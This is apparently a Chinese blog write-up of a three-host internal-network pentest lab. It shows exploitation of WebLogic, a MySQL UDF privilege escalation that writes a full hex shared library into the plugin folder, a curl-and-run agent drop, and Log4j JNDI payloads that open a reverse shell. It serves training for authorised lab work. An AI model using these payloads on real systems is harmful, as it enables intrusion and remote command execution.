面试二层内网靶场

最新推荐文章于 2025-05-07 15:02:21 发布
最新推荐文章于 2025-05-07 15:02:21 发布
阅读量1.1k 收藏 20
点赞数 17
分类专栏： 内网渗透 文章标签： 面试 职场和发展 内网渗透 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_45155797/article/details/146542464
版权

内网靶场

前言:之前有朋友喊我打了一下，缺一个flag一直没打通，昨天又有朋友去申请了，刚好打一下…

https://xz.aliyun.com/news/16521?time__1311=eqUxnDRD0DuDcAD90DlEAPu0DRhjOBQD0xTD&u_atoken=c7360c2b1b31840f25bb86485347a5eb&u_asig=0a47319217414971457684343e00a4

该环境有3台主机，第一台主机访问地址为：119.45.94.200:7001（备用地址：175.27.250.209:7001），剩余两台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透。
当前FLAG信息如下：总共4个flag
内网范围在：172.16.10.0/24、172.25.20.0/24、172.26.30.0/24

第一台机器

发现是7001端口，熟悉的一看就知道打Weblogic，直接梭哈

这里不知道是我操作的问题还是啥情况，内存马注入连不上，之前打无限安全靶场那个月挑战也是这样，换一个工具梭哈

使用天狐工具箱里面的冰蝎3连接成功，根目录找到第一个flag

第一层内网信息收集

172.25.20.1:22 open
172.25.20.12:3306 open
172.25.20.10:7001 open
172.25.20.12:8087 open
[*] WebTitle http://172.25.20.10:7001  code:404 len:1164   title:Error 404--Not Found
[+] InfoScan http://172.25.20.10:7001  [weblogic] 
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-ssrf 
[+] PocScan http://172.25.20.10:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}]
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2020-14750 
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2729-2 
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2725 v10
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2729-1

发现172.25.20.12开放Mysql，找一下Weblogic配置文件。

Fscan收集完信息后，
在/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/JDBC_Data_Source-0-3407-jdbc.xml文件中拿到用户名root和AES加密后的密码，还有第二台机器的数据库连接地址。

SerializedSystemIni.dat文件默认位置：
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

解密出来后得到密码Meetsec#1024

上线Vshell

Vshell搭建第一层代理

第二台机器

连接数据库发现第二个flag

udf提权

手动

SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

select sys_eval('whoami');

MDUT

上线Vshell

Linux上传文件一般就curl和wget，如果docker环境没有这些，mysql可以用select去写文件,参考之前写的这篇文章https://xz.aliyun.com/news/16968

经过测试发现有curl

第一台机器/tmp目录起http服务

Vshell创建正向客户端

上传到/tmp目录

curl http://172.25.20.10:8000/l3344 -o /tmp/l3344
chmod 777 /tmp/l3344
/tmp/l3344

成功上线

Vshell搭建第二层代理

mysql是docker环境，缺少很多服务。

发现几个技巧

IP信息收集

假设没有ifconfig和ip addr。

1.可以在Vshell上线的时候看到本地的IP—172.26.30.4

2.通过fscan -np扫其他主机的信息

3.使用hostname -I查看

4.CDK自带ifconfig

前面mysql上线的权限比较低，但是这里不用管他，只做一个代理就行。

第二层内网信息收集

bash-4.2$ ./fscanPlus_amd64 -h 172.26.30.0/24 -np

  ______                   _____  _           
 |  ____|                 |  __ \| |          
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___ 
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/   
                     fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
172.26.30.1:22 open
172.26.30.4:3306 open
172.26.30.4:8087 open
172.26.30.11:8983 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://172.26.30.11:8983  code:302 len:0      title:None 跳转url: http://172.26.30.11:8983/solr/
[*] WebTitle http://172.26.30.11:8983/solr/ code:200 len:16555  title:Solr Admin

发现存在一个solr

第三台机器

根据经验来说solr一般常见的就是打log4j，之前打春秋云境—Certify就遇到了

这里比那个复杂一点点，因为那个在外网，环境啥的很好解决，这个内网环境肯定要去mysql上面配置java环境和nc，mysql上面有一个python2

log4j有两个打法rmi和ldap

配置环境

java环境

https://mp.weixin.qq.com/s/JxV9PPYW2wOTl04HsDh_dA

下载jdk.tar.gz，但是不要去执行那个sh脚本，因为那个脚本会添加环境变量，但是这里我们没有提权，权限较低，直接解压即可

tar -xzvf jdk.tar.gz
tar -xzvf jdk-8u281-linux-x64.tar.gz
cd jdk/jdk1.8.0_281/bin/
./java --version

nc

可以参考这个文章安装，但是缺少gcc

https://blog.csdn.net/weixin_44462773/article/details/137586959

所以使用CDK自带nc

参考:https://github.com/cdk-team/CDK/wiki/Tool:-nc

python环境

自带了python2环境

bash-4.2$ python --version
Python 2.7.5

rmi

用python2在/tmp目录起一个http服务

python2 -m SimpleHTTPServer 8000

上传JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar到jdk/jdk1.8.0_281/bin/

./java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://172.26.30.4:8000/linux_x64_agent -o /tmp/linux_x64_agent" -A 172.26.30.4

然后编码

http://172.26.30.11:8983/solr/admin/cores?action=%24%7Bjndi%3Armi%3A%2F%2F172%2E26%2E30%2E4%3A1099%2Fv93rq0%7D

这里一直没看到python那有下载文件的回显，猜测应该是打不通了…

ldap

传JNDIExploit-1.4-SNAPSHOT.jar到jdk/jdk1.8.0_281/bin/

./java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.26.30.4

nc监听

./cdk_linux_amd64 nc -l -v -p 7788

传入

http://172.26.30.11:8983/solr/admin/cores?action=${jndi:ldap://172.26.30.4:1389/Basic/ReverseShell/172.26.30.4/7788

直接就弹回shell。

[网络安全提高篇] 一二九.Powershell恶意代码检测 (5)混淆和反混淆 [上]
杨秀璋的专栏
04-09 288
前文介绍了如何利用MS Defender实现恶意样本家族批量标注。这篇文章将继续讲解Powershell恶意代码检测，主要包括PowerShell混淆与反混淆内容，首先结合Invoke-Obfuscation工具详细介绍PowerShell代码混淆方法，再结合PowerDecode工具阐述解混淆方法。该研究将为后续的恶意软件家族分类或溯源提供帮助。未完待续，基础性文章，希望您喜欢，且看且珍惜。
[ 虚拟专用网 ] 虚拟专用网常见面试题大集合
qq_51577576的博客
12-31 1077
虚拟专用网常见面试题大集合
pikachu 靶场通关（全）_pikachu靶场，耗时两个礼拜8000字网络安全面试长文
m0_60635321的博客
04-08 395
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
【超详细】新手学习渗透测试靶场，大厂经典高频面试题体系化集合
2301_78416732的博客
04-10 417
下载完之后， 小皮 启动！！！！这样子就是启动了。随后点击左边的 “网站” 按钮，选择 “管理” 然后打开根目录。把你下载的文件解压到www目录下，这里我改了一下名字，原来的名字是pikachu-master我的pikachu靶场目录文件是这样子的。不会的请跟着我一步一步走！！！！！然后我们再返回看小皮面板，选择 最左边的 网站 其次双击点击 物理路径。
记一次自己搭建内网靶场（非常详细），零基础入门到精通，看这一篇就够了
weixin_51725318的博客
10-18 5050
记一次自己搭建内网靶场（非常详细），零基础入门到精通，看这一篇就够了
面试经验分享 | 通关某公司面试靶场
zkaqlaoniao的博客
04-30 796
kali linux启动，nmap 启动，直接常规扫描一波，发现开启了这么多，ftp和ssh可以爆破，但因为是靶场弱口令暂时不想了，smtp和pop3都是邮件服务，80是个幌子也不予考虑，8888是宝塔管理界面，得到信息这是宝塔搭建的，弱口令试了下无果，而且限制登陆次数，暂时先记下，8081重点，这里我第一次访问它貌似因为网络问题没有打开，所以我就以为不是，结果后来扫了全端口还是这几个......环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。
记一次靶场实战【网络安全】
kali_Ma的博客
01-05 8736
可以得到靶机开放了22和80端口，使用的是Apache2.2.22和Ubuntu，内核是Linux3.2-4.9。 接下来用御剑暴破下目录。
护网面试题总结+安全工程师笔试问题
01-06
5. APP加壳：APP加壳是将应用程序包裹在一个保护层中，以隐藏原始代码、增加逆向工程难度的技术，通常用于提高应用的安全性或防止盗版。 6. 勒索软件WannaCry的特征：WannaCry是一种蠕虫性质的勒索软件，利用 ...
渗透测试练习靶场汇总
zz12345600354的博客
05-02 366
Vulfocus 官网：在线演示：2.BUUCTF在线评测writeup文章：https://github.com/niudaii/my-vulstack-wphttps: //
2021Web安全面试题大全（附答案详解）看完稳了
热门推荐
m0_59991869的博客
10-13 1万+
人人都有一个进大厂的梦想，而进大厂的门槛也可想而知，所以这里整理了一份安全大厂的面试大全，看完文章如果对你有帮助的话希望能够点赞+收藏+关注！感谢！ 本篇文章对于学习Web安全的朋友来说应该是目前最全面的面试题合集了，后续也会陆续更新其他大厂的面试题目和知识点。另外我还整理了许多关于Web安全的学习资料+工具包等等，需要的点击Web安全学习 一、渗透测试面试题，包含大量渗透技巧 1.拿到一个待检测的站，你觉得应该先做什么？ a、信息收集 1、获取域名的whois信息,获取注册者邮箱姓名电话等，丢
某安全公司面试题
mingyqf的博客
03-18 2700
参考：https://www.job592.com/pay/comms16072600_134267.html qax一面 面试过程： 第一面为技术面和人事面混合，技术问题问的多一点，明显感觉面试官是大佬，知识储备很多。虽然问的都比较基础，但是涉及的内容很广；人事面就一些常见的问题，职业规划、什么时候可以实习、意向工作点，以及比较重要的是实习经验、项目经验、以及比赛经验。 面试官问的面试题： 1.简单讲讲mysql 5.0以上和以下有什么区别 2.sql注入获取webshell 怎么获取 sql 注入要是不
面试经典（12）--射击打靶问题
GetnextWindow的专栏
04-12 2306
题目描述：一个射击运动员打靶，靶一共有10环，连开10 枪打中90环的可能性有多少？
一道靶场面试题的解题思路
weixin_44508748的博客
06-11 1435
一、缘起 群里老哥丢出来一个某厂的面试靶场，跟着大佬学了些思路，记录如下。 整体流程：sql注入读取网站配置文件>拿到tomcat登录账号密码>登录tomcat上传war包>getshell。以下是脱敏后记录的详细过程： 二、 初探 目标是一个阉割版ecshop搭建的商城系统，利用已公开的漏洞无法拿下… 目标：http://1x.x.x.x:8080/eshop/UserLogin.jsp 直接web路径访问端口：http://1x.x.x.x:8080/发现tomcat的管理界面入口:
24个常见渗透测试漏洞靶场列表
一只臭皮匠的博客
09-09 7337
0x01 在线靶场 BUUCTF在线评测：https://buuoj.cn Vulhub漏洞环境集合：https://vulhub.org 韩国Webhacking：https://webhacking.kr 重生信息安全在线靶场：https://bc.csxa.cn 网络信息安全攻防学习平台：http://hackinglab.cn 墨者学院在线靶场：https://www.mozhe.cn/bug 封神台在线演练靶场：https://hack.zkaq.cn/battle 安鸾渗透实战平台：http:
分享一次面试靶场笔记
weixin_40418457的博客
07-05 518
某面试靶场writeup 拿到站之后访问发现是一个phpinfo页面，大致看了一下内容，然后扫描目录，进入到bbs目录下，发现是用discuz3.4框架搭建的 思路： 第一时间想到的就是利用网上已知的一些版本漏洞去入手，查了下该版本漏洞大概为四个，一个是刚出没多久的任意代码执行，但是因为是要cookie参数中有language参数然后再进行构造payload的，抓包的话发现站点并不存在这个参数，猜测可能会不会隐藏了参数？手动构造依然无果。 第二种就是一个是越权登录，一个是ssrf，这两个感觉对getsh
【AI面试准备】NLP解析API文档生成测试脚本
u011537504的博客
05-03 1472
面试题：API测试：利用NLP解析接口文档生成测试脚本。如何快速掌握这个工具，以及在实际工作中如何运用。
Go语言八股之channel详解
最新发布
大学生小郑的博客
05-07 1045
Go语言八股之channel
大数据面试问答-数据湖
weixin_44999258的博客
05-02 1285
数据湖（Data Lake）：以原始格式（如Parquet、JSON等）存储海量原始数据的存储库，支持结构化、半结构化和非结构化数据（如文本、图像）。采用Schema-on-Read模式，数据在读取时才定义结构，适合机器学习、探索性分析等场景。
红日内网渗透靶场搭建
02-21
### 构建红队内网渗透测试靶场环境 #### 选择合适的虚拟化平台 为了构建一个安全可控的实验环境，建议使用 VMware Workstation 或 VirtualBox 这样的桌面级虚拟化软件来创建多个虚拟机实例。这些工具允许灵活配置网络模式并支持快照功能以便快速恢复初始状态[^2]。 #### 设计合理的网络拓扑结构 通常会模拟企业内部常见的分层架构，包括但不限于 DMZ 区域、办公区以及核心服务区等不同逻辑分区。通过设置不同的子网划分各个区域，并利用路由器连接起来形成完整的局域网体系。 #### 部署典型的服务端应用 安装 Windows Server 和 Linux 发行版作为服务器操作系统，在其上架设 Web 应用程序（如 IIS/Apache）、数据库管理系统（MySQL/SQLServer）以及其他可能成为攻击目标的企业级服务组件。确保版本老旧存在已知漏洞以增加实战训练价值。 #### 搭建必要的客户端设备 除了上述提到的服务端节点外，还需要准备若干台运行着日常业务操作系统的客户终端，比如 Windows 7/10 工作站或是 Mac OS X 笔记本电脑。它们可以用来发起恶意流量或者充当被控制主机的角色参与演练过程。 #### 安全防护措施部署 尽管这是一个受控环境中进行的安全研究活动，但仍需遵循最小权限原则仅授予必要访问权给参与者；同时开启防火墙规则限制外部未授权接入尝试；定期备份重要数据文件以防意外丢失造成不可挽回损失。 ```bash # 创建一个新的虚拟网络接口用于隔离测试环境 vboxmanage hostonlyif create # 设置静态IP地址范围供后续分配给各VM使用 vboxmanage dhcpserver add --netname HostInterfaceOnlyNetwork \ --ip 192.168.56.1 --netmask 255.255.255.0 --lowerip 192.168.56.100 \ --upperip 192.168.56.200 --enable ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Wh1teSu

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值